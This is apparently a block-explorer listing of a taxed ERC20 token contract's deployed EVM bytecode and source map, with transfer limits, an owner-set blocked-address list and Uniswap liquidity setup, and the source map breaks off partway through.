daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d25760405162461bcd60e51b81526004016104d190611953565b6105de6009600a61192e565b6105ed906461f313f88061193c565b6006556105fc6009600a61192e565b61060b906461f313f88061193c565b600755604080518082019091526014546001600160a01b03908116825260055416602082015261066b906106416009600a61192e565b610650906461f313f88061193c565b61065b90609661193c565b61066690603261199c565b6112ea565b507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106996009600a61192e565b6106a8906461f313f88061193c565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106e45760405162461bcd60e51b81526004016104d190611953565b60405133904780156108fc02915f818181858888f1935050505015801561070d573d5f5f3e3d5ffd5b50565b5f610416338484610c6d565b5f546001600160a01b031633146107455760405162461bcd60e51b81526004016104d190611953565b5f5b815181101561053457600160045f84848151811061076757610767611988565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610747565b5f546001600160a01b031633146107c95760405162461bcd60e51b81526004016104d190611953565b601454600160a01b900460ff16156108235760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d1565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086d90309061085e6009600a61192e565b610499906461f313f88061193c565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108bd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e191906119af565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610940573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096491906119af565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109ae573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109d291906119af565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610a19816001600160a01b03165f9081526001602052604090205490565b5f5f610a2c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a92573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ab791906119ca565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b0c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3091906119f5565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610bac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d1565b6001600160a01b038216610c0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d1565b6001600160a01b038216610d335760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d1565b5f8111610d945760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d1565b6014545f908190600160b01b900460ff161580610dba5750601454600160a81b900460ff165b15610e73576001600160a01b0385165f90815260016020526040902054610de2908490611a14565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610e1190849061199c565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e649087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610e9d57505f546001600160a01b03858116911614155b15611166576001600160a01b0385165f9081526004602052604090205460ff16158015610ee257506001600160a01b0384165f9081526004602052604090205460ff16155b610eea575f5ffd5b6012545f03610f0d57600e5460125411610f0657600a54610f0a565b600c545b90505b60125415610f1a57506011545b6014546001600160a01b038681169116148015610f4557506013546001600160a01b03858116911614155b8015610f6957506001600160a01b0384165f9081526003602052604090205460ff16155b1561106857600654831115610fc05760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d1565b60075483610fe2866001600160a01b03165f9081526001602052604090205490565b610fec919061199c565b111561103a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d1565b600e546012541161104d57600a54611051565b600c545b601280549192505f61106283611a27565b91905055505b6014546001600160a01b03858116911614801561108e57506001600160a01b0385163014155b156110ad57600f54601254116110a657600b546110aa565b600d545b90505b305f90815260016020526040902054601454600160a81b900460ff161580156110e357506014546001600160a01b038681169116145b80156110f85750601454600160b01b900460ff165b156111645760165443111561110c575f6015555b600854811180156111205750601054601254115b156111425761114261113d85611138846009546112fd565b6112fd565b611314565b61114b47611484565b60158054905f61115a83611a27565b9091555050436016555b505b80156111f657611181606461117b83866114bb565b90611539565b305f9081526001602052604090205490925061119d908361157a565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111ed9086815260200190565b60405180910390a35b6001600160a01b0385165f9081526001602052604090205461121890846115d8565b6001600160a01b0386165f9081526001602052604090205561125b61123d84846115d8565b6001600160a01b0386165f908152600160205260409020549061157a565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112a486866115d8565b604051908152602001610e64565b5f81848411156112d55760405162461bcd60e51b81526004016104d19190611645565b505f6112e18486611a14565b95945050505050565b815160208301515f916104169184610b4a565b5f81831161130b578261130d565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061135a5761135a611988565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113b1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113d591906119af565b816001815181106113e8576113e8611988565b6001600160a01b03928316602091820292909201015260135461140e9130911684610b4a565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114469085905f90869030904290600401611a3f565b5f604051808303815f87803b15801561145d575f5ffd5b505af115801561146f573d5f5f3e3d5ffd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610534573d5f5f3e3d5ffd5b5f825f036114ca57505f61041a565b5f6114d5838561193c565b9050826114e28583611aaf565b1461130d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d1565b5f61130d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611619565b5f80611586838561199c565b90508381101561130d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d1565b5f61130d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b2565b5f81836116395760405162461bcd60e51b81526004016104d19190611645565b505f6112e18486611aaf565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461070d575f5ffd5b80356116998161167a565b919050565b5f5f604083850312156116af575f5ffd5b82356116ba8161167a565b946020939093013593505050565b5f5f5f606084860312156116da575f5ffd5b83356116e58161167a565b925060208401356116f58161167a565b929592945050506040919091013590565b5f60208284031215611716575f5ffd5b813561130d8161167a565b634e487b7160e01b5f52604160045260245ffd5b5f60208284031215611745575f5ffd5b813567ffffffffffffffff81111561175b575f5ffd5b8201601f8101841361176b575f5ffd5b803567ffffffffffffffff81111561178557611785611721565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156117b2576117b2611721565b6040529182526020818401810192908101878411156117cf575f5ffd5b6020850194505b838510156117f5576117e78561168e565b8152602094850194016117d6565b509695505050505050565b5f5f60408385031215611811575f5ffd5b823561181c8161167a565b9150602083013561182c8161167a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156118865780850481111561186a5761186a611837565b600184161561187857908102905b60019390931c92800261184f565b935093915050565b5f8261189c5750600161041a565b816118a857505f61041a565b81600181146118be57600281146118c8576118e4565b600191505061041a565b60ff8411156118d9576118d9611837565b50506001821b61041a565b5060208310610133831016604e8410600b8410161715611907575081810a61041a565b6119135f19848461184b565b805f190482111561192657611926611837565b029392505050565b5f61130d60ff84168361188e565b808202811582820484141761041a5761041a611837565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561041a5761041a611837565b5f602082840312156119bf575f5ffd5b815161130d8161167a565b5f5f5f606084860312156119dc575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611a05575f5ffd5b8151801515811461130d575f5ffd5b8181038181111561041a5761041a611837565b5f60018201611a3857611a38611837565b5060010190565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611a8f5783516001600160a01b0316835260209384019390920191600101611a68565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611ac957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202dec29d754467dbb93a7bc3d5f43a9e7551ce55addd6339173642eb114341d4964736f6c634300081b0033
Deployed Bytecode Sourcemap
3618:8596:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5622:83;;;;;;;;;;-1:-1:-1;5692:5:0;;;;;;;;;;;;-1:-1:-1;;;5692:5:0;;;;5622:83;;;;;;;:::i;:::-;;;;;;;;6441:161;;;;;;;;;;-1:-1:-1;6441:161:0;;;;;:::i;:::-;;:::i;:::-;;;1249:14:1;;1242:22;1224:41;;1212:2;1197:18;6441:161:0;1084:187:1;4377:46:0;;;;;;;;;;;;;;;;;;;1422:25:1;;;1410:2;1395:18;4377:46:0;1276:177:1;5893:95:0;;;;;;;;;;;;;:::i;6775:313::-;;;;;;;;;;-1:-1:-1;6775:313:0;;;;;:::i;:::-;;:::i;5804:83::-;;;;;;;;;;-1:-1:-1;5804:83:0;;4015:1;2113:36:1;;2101:2;2086:18;5804:83:0;1971:184:1;10762:83:0;;;;;;;;;;-1:-1:-1;10762:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;10830:7:0;10809:4;10830:7;;;:4;:7;;;;;;;;;10762:83;10598:158;;;;;;;;;;-1:-1:-1;10598:158:0;;;;;:::i;:::-;;:::i;:::-;;5994:119;;;;;;;;;;-1:-1:-1;5994:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6087:18:0;6060:7;6087:18;;;:9;:18;;;;;;;5994:119;1009:148;;;;;;;;;;;;;:::i;10004:220::-;;;;;;;;;;;;;:::i;4208:47::-;;;;;;;;;;;;;;;;795:79;;;;;;;;;;-1:-1:-1;833:7:0;860:6;795:79;;-1:-1:-1;;;;;860:6:0;;;3822:51:1;;3810:2;3795:18;795:79:0;3676:203:1;4262:49:0;;;;;;;;;;;;;;;;5711:87;;;;;;;;;;-1:-1:-1;5783:7:0;;;;;;;;;;;;-1:-1:-1;;;5783:7:0;;;;5711:87;;9887:111;;;;;;;;;;;;;:::i;6119:167::-;;;;;;;;;;-1:-1:-1;6119:167:0;;;;;:::i;:::-;;:::i;4318:52::-;;;;;;;;;;;;;;;;10432:160;;;;;;;;;;-1:-1:-1;10432:160:0;;;;;:::i;:::-;;:::i;10851:836::-;;;;;;;;;;;;;:::i;6292:143::-;;;;;;;;;;-1:-1:-1;6292:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6400:18:0;;;6373:7;6400:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6292:143;6441:161;6516:4;6533:39;454:10;6556:7;6565:6;6533:8;:39::i;:::-;-1:-1:-1;6590:4:0;6441:161;;;;;:::o;5893:95::-;5946:7;4073:13;4015:1;4073:2;:13;:::i;:::-;4058:28;;:12;:28;:::i;:::-;5966:14;;5893:95;:::o;6775:313::-;6873:4;6890:36;6900:6;6908:9;6919:6;6890:9;:36::i;:::-;6937:121;6946:6;454:10;6968:89;7006:6;6968:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6968:19:0;;;;;;:11;:19;;;;;;;;454:10;6968:33;;;;;;;;;;:37;:89::i;:::-;6937:8;:121::i;:::-;-1:-1:-1;7076:4:0;6775:313;;;;;:::o;10598:158::-;922:6;;-1:-1:-1;;;;;922:6:0;454:10;922:22;914:67;;;;-1:-1:-1;;;914:67:0;;;;;;;:::i;:::-;;;;;;;;;10667:6:::1;10662:87;10683:6;:13;10679:1;:17;10662:87;;;10734:5;10716:4;:15;10721:6;10728:1;10721:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10716:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10716:15:0;:23;;-1:-1:-1;;10716:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;10698:3:0::1;10662:87;;;;10598:158:::0;:::o;1009:148::-;922:6;;-1:-1:-1;;;;;922:6:0;454:10;922:22;914:67;;;;-1:-1:-1;;;914:67:0;;;;;;;:::i;:::-;1116:1:::1;1100:6:::0;;1079:40:::1;::::0;-1:-1:-1;;;;;1100:6:0;;::::1;::::0;1079:40:::1;::::0;1116:1;;1079:40:::1;1147:1;1130:19:::0;;-1:-1:-1;;;;;;1130:19:0::1;::::0;;1009:148::o;10004:220::-;922:6;;-1:-1:-1;;;;;922:6:0;454:10;922:22;914:67;;;;-1:-1:-1;;;914:67:0;;;;;;;:::i;:::-;4073:13:::1;4015:1;4073:2;:13;:::i;:::-;4058:28;::::0;:12:::1;:28;:::i;:::-;10057:12;:22:::0;4073:13:::1;4015:1;4073:2;:13;:::i;:::-;4058:28;::::0;:12:::1;:28;:::i;:::-;10090:14;:22:::0;10123:50:::1;::::0;;;;::::1;::::0;;;10130:13:::1;::::0;-1:-1:-1;;;;;10130:13:0;;::::1;10123:50:::0;;10145:10:::1;::::0;::::1;10123:50;::::0;::::1;::::0;::::1;::::0;4073:13:::1;4015:1;4073:2;:13;:::i;:::-;4058:28;::::0;:12:::1;:28;:::i;:::-;10158:11;::::0;:3:::1;:11;:::i;:::-;:14;::::0;10170:2:::1;10158:14;:::i;:::-;10123:5;:50::i;:::-;-1:-1:-1::0;10189:27:0::1;4073:13;4015:1;4073:2;:13;:::i;:::-;4058:28;::::0;:12:::1;:28;:::i;:::-;10189:27;::::0;1422:25:1;;;1410:2;1395:18;10189:27:0::1;;;;;;;10004:220::o:0;9887:111::-;922:6;;-1:-1:-1;;;;;922:6:0;454:10;922:22;914:67;;;;-1:-1:-1;;;914:67:0;;;;;;;:::i;:::-;9939:51:::1;::::0;9947:10:::1;::::0;9968:21:::1;9939:51:::0;::::1;;;::::0;::::1;::::0;;;9968:21;9947:10;9939:51;::::1;;;;;;;;;;;;;;;;;;;;9887:111::o:0;6119:167::-;6197:4;6214:42;454:10;6238:9;6249:6;6214:9;:42::i;10432:160::-;922:6;;-1:-1:-1;;;;;922:6:0;454:10;922:22;914:67;;;;-1:-1:-1;;;914:67:0;;;;;;;:::i;:::-;10502:6:::1;10497:88;10518:5;:12;10514:1;:16;10497:88;;;10569:4;10552;:14;10557:5;10563:1;10557:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10552:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10552:14:0;:21;;-1:-1:-1;;10552:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;10532:3:0::1;10497:88;;10851:836:::0;922:6;;-1:-1:-1;;;;;922:6:0;454:10;922:22;914:67;;;;-1:-1:-1;;;914:67:0;;;;;;;:::i;:::-;10913:11:::1;::::0;-1:-1:-1;;;10913:11:0;::::1;;;10912:12;10904:48;;;::::0;-1:-1:-1;;;10904:48:0;;6839:2:1;10904:48:0::1;::::0;::::1;6821:21:1::0;6878:2;6858:18;;;6851:30;6917:25;6897:18;;;6890:53;6960:18;;10904:48:0::1;6637:347:1::0;10904:48:0::1;10963:15;:104:::0;;-1:-1:-1;;;;;;10963:104:0::1;11014:42;10963:104:::0;;::::1;::::0;;;11078:58:::1;::::0;11095:4:::1;::::0;4073:13:::1;4015:1;4073:2;:13;:::i;:::-;4058:28;::::0;:12:::1;:28;:::i;11078:58::-;11181:15;;;;;;;;;-1:-1:-1::0;;;;;11181:15:0::1;-1:-1:-1::0;;;;;11181:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11163:55:0::1;;11241:4;11261:15;;;;;;;;;-1:-1:-1::0;;;;;11261:15:0::1;-1:-1:-1::0;;;;;11261:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11163:131;::::0;-1:-1:-1;;;;;;11163:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7437:32:1;;;11163:131:0::1;::::0;::::1;7419:51:1::0;7506:32;;7486:18;;;7479:60;7392:18;;11163:131:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11147:13;:147:::0;;-1:-1:-1;;;;;11147:147:0;;::::1;-1:-1:-1::0;;;;;;11147:147:0;;::::1;;::::0;;11306:15:::1;::::0;::::1;:31;11345:21;11390:4;11410:24;11390:4:::0;-1:-1:-1;;;;;6087:18:0;6060:7;6087:18;;;:9;:18;;;;;;;5994:119;11410:24:::1;11449:1;11465;11481:7;833::::0;860:6;-1:-1:-1;;;;;860:6:0;;795:79;11481:7:::1;11306:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11306:223:0;;;-1:-1:-1;;;;;7871:32:1;;;11306:223:0::1;::::0;::::1;7853:51:1::0;7920:18;;;7913:34;;;;7963:18;;;7956:34;;;;8006:18;;;7999:34;8070:32;;;8049:19;;;8042:61;11503:15:0::1;8119:19:1::0;;;8112:35;7825:19;;11306:223:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11547:13:0::1;::::0;11578:15:::1;::::0;11540:71:::1;::::0;-1:-1:-1;;;11540:71:0;;-1:-1:-1;;;;;11578:15:0;;::::1;11540:71;::::0;::::1;8793:51:1::0;-1:-1:-1;;8860:18:1;;;8853:34;11547:13:0;::::1;::::0;-1:-1:-1;11540:29:0::1;::::0;8766:18:1;;11540:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11632:11:0::1;:18:::0;;-1:-1:-1;;;;11661:18:0;-1:-1:-1;;;11661:18:0;;;10851:836::o;7094:335::-;-1:-1:-1;;;;;7187:19:0;;7179:68;;;;-1:-1:-1;;;7179:68:0;;9382:2:1;7179:68:0;;;9364:21:1;9421:2;9401:18;;;9394:30;9460:34;9440:18;;;9433:62;-1:-1:-1;;;9511:18:1;;;9504:34;9555:19;;7179:68:0;9180:400:1;7179:68:0;-1:-1:-1;;;;;7266:21:0;;7258:68;;;;-1:-1:-1;;;7258:68:0;;9787:2:1;7258:68:0;;;9769:21:1;9826:2;9806:18;;;9799:30;9865:34;9845:18;;;9838:62;-1:-1:-1;;;9916:18:1;;;9909:32;9958:19;;7258:68:0;9585:398:1;7258:68:0;-1:-1:-1;;;;;7337:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7389:32;;1422:25:1;;;7389:32:0;;1395:18:1;7389:32:0;;;;;;;7094:335;;;:::o;7435:2446::-;-1:-1:-1;;;;;7523:18:0;;7515:68;;;;-1:-1:-1;;;7515:68:0;;10190:2:1;7515:68:0;;;10172:21:1;10229:2;10209:18;;;10202:30;10268:34;10248:18;;;10241:62;-1:-1:-1;;;10319:18:1;;;10312:35;10364:19;;7515:68:0;9988:401:1;7515:68:0;-1:-1:-1;;;;;7602:16:0;;7594:64;;;;-1:-1:-1;;;7594:64:0;;10596:2:1;7594:64:0;;;10578:21:1;10635:2;10615:18;;;10608:30;10674:34;10654:18;;;10647:62;-1:-1:-1;;;10725:18:1;;;10718:33;10768:19;;7594:64:0;10394:399:1;7594:64:0;7686:1;7677:6;:10;7669:64;;;;-1:-1:-1;;;7669:64:0;;11000:2:1;7669:64:0;;;10982:21:1;11039:2;11019:18;;;11012:30;11078:34;11058:18;;;11051:62;-1:-1:-1;;;11129:18:1;;;11122:39;11178:19;;7669:64:0;10798:405:1;7669:64:0;7794:11;;7744:17;;;;-1:-1:-1;;;7794:11:0;;;;7793:12;;:22;;-1:-1:-1;7809:6:0;;-1:-1:-1;;;7809:6:0;;;;7793:22;7789:217;;;-1:-1:-1;;;;;7850:15:0;;;;;;:9;:15;;;;;;:24;;7868:6;;7850:24;:::i;:::-;-1:-1:-1;;;;;7832:15:0;;;;;;;:9;:15;;;;;;:42;;;;7905:13;;;;;;;:22;;7921:6;;7905:22;:::i;:::-;-1:-1:-1;;;;;7889:13:0;;;;;;;:9;:13;;;;;;;:38;;;;7947:26;;;;;;;;;;7966:6;1422:25:1;;1410:2;1395:18;;1276:177;7947:26:0;;;;;;;;7988:7;;7435:2446;;;:::o;7789:217::-;833:7;860:6;-1:-1:-1;;;;;8020:15:0;;;860:6;;8020:15;;;;:32;;-1:-1:-1;833:7:0;860:6;-1:-1:-1;;;;;8039:13:0;;;860:6;;8039:13;;8020:32;8016:1460;;;-1:-1:-1;;;;;8078:10:0;;;;;;:4;:10;;;;;;;;8077:11;:24;;;;-1:-1:-1;;;;;;8093:8:0;;;;;;:4;:8;;;;;;;;8092:9;8077:24;8069:33;;;;;;8120:9;;8131:1;8120:12;8117:114;;8170:15;;8160:9;;:25;8159:55;;8200:14;;8159:55;;;8187:12;;8159:55;8152:63;;8117:114;8248:9;;:11;8245:70;;-1:-1:-1;8286:12:0;;8245:70;8341:13;;-1:-1:-1;;;;;8333:21:0;;;8341:13;;8333:21;:55;;;;-1:-1:-1;8372:15:0;;-1:-1:-1;;;;;8358:30:0;;;8372:15;;8358:30;;8333:55;:83;;;;-1:-1:-1;;;;;;8394:22:0;;;;;;:18;:22;;;;;;;;8392:24;8333:83;8329:395;;;8456:12;;8446:6;:22;;8438:60;;;;-1:-1:-1;;;8438:60:0;;11543:2:1;8438:60:0;;;11525:21:1;11582:2;11562:18;;;11555:30;11621:27;11601:18;;;11594:55;11666:18;;8438:60:0;11341:349:1;8438:60:0;8551:14;;8541:6;8525:13;8535:2;-1:-1:-1;;;;;6087:18:0;6060:7;6087:18;;;:9;:18;;;;;;;5994:119;8525:13;:22;;;;:::i;:::-;:40;;8517:79;;;;-1:-1:-1;;;8517:79:0;;11897:2:1;8517:79:0;;;11879:21:1;11936:2;11916:18;;;11909:30;11975:28;11955:18;;;11948:56;12021:18;;8517:79:0;11695:350:1;8517:79:0;8633:15;;8623:9;;:25;8622:55;;8663:14;;8622:55;;;8650:12;;8622:55;8697:9;:11;;8615:63;;-1:-1:-1;8697:9:0;:11;;;:::i;:::-;;;;;;8329:395;8747:13;;-1:-1:-1;;;;;8741:19:0;;;8747:13;;8741:19;:43;;;;-1:-1:-1;;;;;;8764:20:0;;8779:4;8764:20;;8741:43;8738:149;;;8823:16;;8813:9;;:26;8812:58;;8855:15;;8812:58;;;8841:13;;8812:58;8805:66;;8738:149;8950:4;8901:28;6087:18;;;:9;:18;;;;;;8976:6;;-1:-1:-1;;;8976:6:0;;;;8975:7;:30;;;;-1:-1:-1;8992:13:0;;-1:-1:-1;;;;;8986:19:0;;;8992:13;;8986:19;8975:30;:45;;;;-1:-1:-1;9009:11:0;;-1:-1:-1;;;9009:11:0;;;;8975:45;8971:494;;;9060:13;;9045:12;:28;9041:90;;;9110:1;9098:9;:13;9041:90;9175:17;;9152:20;:40;:74;;;;;9208:18;;9196:9;;:30;9152:74;9149:169;;;9249:69;9266:51;9270:6;9278:38;9282:20;9304:11;;9278:3;:38::i;:::-;9266:3;:51::i;:::-;9249:16;:69::i;:::-;9337:35;9350:21;9337:12;:35::i;:::-;9391:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;9437:12:0;9421:13;:28;8971:494;8054:1422;8016:1460;9489:7;;9486:212;;9524:24;9544:3;9524:15;:3;9532:6;9524:7;:15::i;:::-;:19;;:24::i;:::-;9606:4;9588:24;;;;:9;:24;;;;;;9512:36;;-1:-1:-1;9588:39:0;;9512:36;9588:28;:39::i;:::-;9581:4;9563:24;;;;:9;:24;;;;;;;:64;;;;9647:39;;-1:-1:-1;;;;;9647:39:0;;;;;;;9676:9;1422:25:1;;1410:2;1395:18;;1276:177;9647:39:0;;;;;;;;9486:212;-1:-1:-1;;;;;9724:15:0;;;;;;:9;:15;;;;;;:27;;9744:6;9724:19;:27::i;:::-;-1:-1:-1;;;;;9708:15:0;;;;;;:9;:15;;;;;:43;9776:40;9794:21;:6;9805:9;9794:10;:21::i;:::-;-1:-1:-1;;;;;9776:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9762:13:0;;;;;;;:9;:13;;;;;:54;;;;9832:41;;;9851:21;:6;9862:9;9851:10;:21::i;:::-;9832:41;;1422:25:1;;;1410:2;1395:18;9832:41:0;1276:177:1;2194:190:0;2280:7;2316:12;2308:6;;;;2300:29;;;;-1:-1:-1;;;2300:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2340:9:0;2352:5;2356:1;2352;:5;:::i;:::-;2340:17;2194:190;-1:-1:-1;;;;;2194:190:0:o;6608:161::-;6708:10;;;6720;;;6682:4;;6699:40;;6732:6;6699:8;:40::i;10230:98::-;10287:7;10314:1;10312;:3;10311:9;;10319:1;10311:9;;;10317:1;10311:9;10304:16;10230:98;-1:-1:-1;;;10230:98:0:o;11693:483::-;5195:6;:13;;-1:-1:-1;;;;5195:13:0;-1:-1:-1;;;5195:13:0;;;11795:16:::1;::::0;;11809:1:::1;11795:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11795:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11795:16:0::1;11771:40;;11840:4;11822;11827:1;11822:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11822:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11866:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11866:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11822:7;;11866:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11856:4;11861:1;11856:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11856:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11931:15:::1;::::0;11899:62:::1;::::0;11916:4:::1;::::0;11931:15:::1;11949:11:::0;11899:8:::1;:62::i;:::-;11972:15;::::0;:196:::1;::::0;-1:-1:-1;;;11972:196:0;;-1:-1:-1;;;;;11972:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12053:11;;11972:15:::1;::::0;12095:4;;12122::::1;::::0;12142:15:::1;::::0;11972:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5231:6:0;:14;;-1:-1:-1;;;;5231:14:0;;;-1:-1:-1;;;;11693:483:0:o;10334:92::-;10391:10;;:27;;-1:-1:-1;;;;;10391:10:0;;;;:27;;;;;10411:6;;10391:10;:27;:10;:27;10411:6;10391:10;:27;;;;;;;;;;;;;;;;;;;2392:246;2450:7;2474:1;2479;2474:6;2470:47;;-1:-1:-1;2504:1:0;2497:8;;2470:47;2527:9;2539:5;2543:1;2539;:5;:::i;:::-;2527:17;-1:-1:-1;2572:1:0;2563:5;2567:1;2527:17;2563:5;:::i;:::-;:10;2555:56;;;;-1:-1:-1;;;2555:56:0;;13578:2:1;2555:56:0;;;13560:21:1;13617:2;13597:18;;;13590:30;13656:34;13636:18;;;13629:62;-1:-1:-1;;;13707:18:1;;;13700:31;13748:19;;2555:56:0;13376:397:1;2646:132:0;2704:7;2731:39;2735:1;2738;2731:39;;;;;;;;;;;;;;;;;:3;:39::i;1863:179::-;1921:7;;1953:5;1957:1;1953;:5;:::i;:::-;1941:17;;1982:1;1977;:6;;1969:46;;;;-1:-1:-1;;;1969:46:0;;13980:2:1;1969:46:0;;;13962:21:1;14019:2;13999:18;;;13992:30;14058:29;14038:18;;;14031:57;14105:18;;1969:46:0;13778:351:1;2050:136:0;2108:7;2135:43;2139:1;2142;2135:43;;;;;;;;;;;;;;;;;:3;:43::i;2786:189::-;2872:7;2907:12;2900:5;2892:28;;;;-1:-